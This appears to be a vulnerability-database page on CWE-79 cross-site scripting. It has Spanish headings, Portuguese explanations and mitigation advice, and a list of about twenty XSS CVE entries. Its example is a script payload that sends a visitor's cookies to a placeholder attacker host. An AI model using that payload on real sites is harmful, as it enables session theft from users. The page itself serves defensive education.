Fallos del tipo CWE-79

30.301 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12499MEDIUMWP jQuery DataTable <= 4.0.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-85227MEDIUMReflected Cross-Site Scripting in MISP Event Filtering via taggedAttributes and galaxyAttachedAttributes ParametersEPSS 0.3%CVE-2025-8451MEDIUMEssential Addons for Elementor – Popular Elementor Templates and Widgets <= 6.2.2 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via 'data-gallery-items'EPSS 0.3%CVE-2026-13234MEDIUMAI (Artificial Intelligence) - Moderately critical - Information Disclosure / Cross-site Scripting - SA-CONTRIB-2026-054EPSS 0.3%CVE-2026-10082MEDIUMAdvanced Ads – Ad Manager & AdSense < 2.0.23 - Contributor+ Stored XSS via the_ad Shortcode 'ad_args' ParameterEPSS 0.3%CVE-2024-33992HIGHCross-Site Scripting (XSS) vulnerability in Janobe School Event Management SystemEPSS 0.3%CVE-2024-51614MEDIUMWordPress Aajoda Testimonials plugin <= 2.2.2 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-15678MEDIUMNexter Blocks < 5.0.2 - Author+ Stored XSS via SVG UploadEPSS 0.3%CVE-2025-0596HIGHStored Cross-site Scripting (XSS) vulnerability affecting Bookmark Editor in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2026-13231MEDIUMAdvanced Content Feedback (aka admin_feedback) - Moderately critical - Cross-site scripting - SA-CONTRIB-2026-051EPSS 0.3%CVE-2026-12869MEDIUMHeader Footer Builder for Elementor < 1.2.1 - Contributor+ Stored XSS via Template ImportEPSS 0.3%CVE-2026-65882MEDIUMJoomla Extension - joomdle.com - Reflected XSS vulnerability in Joomdle < 3.1.1EPSS 0.3%CVE-2026-19727MEDIUMHTML Injection via Improper Input Sanitization in Yordam Informatics's Library Automation SystemEPSS 0.3%CVE-2024-43305MEDIUMWordPress Custom Layouts – Post + Product grids made easy plugin <= 1.4.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-9939MEDIUMCodeAstro Real Estate Management System propertyview.php cross site scriptingEPSS 0.3%CVE-2024-54675MEDIUMapp/webroot/js/workflows-editor/workflows-editor.js in MISP through 2.5.2 has stored XSS in the editor interface for an ad-hoc workflow.EPSS 0.3%CVE-2026-81918MEDIUMConcrete CMS below 9.5.3 is vulnerable to Stored XSS via the Date Format field in the Page Attribute Display blockEPSS 0.3%CVE-2026-16638MEDIUMMedia Folders - Moderately critical - Cross site scripting - SA-CONTRIB-2026-080EPSS 0.3%CVE-2024-43113MEDIUMThe contextual menu for links could provide an opportunity for cross-site scripting attacks This vulnerability affects Firefox for iOS < 129EPSS 0.3%CVE-2024-38750MEDIUMWordPress Advanced post slider plugin <= 3.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%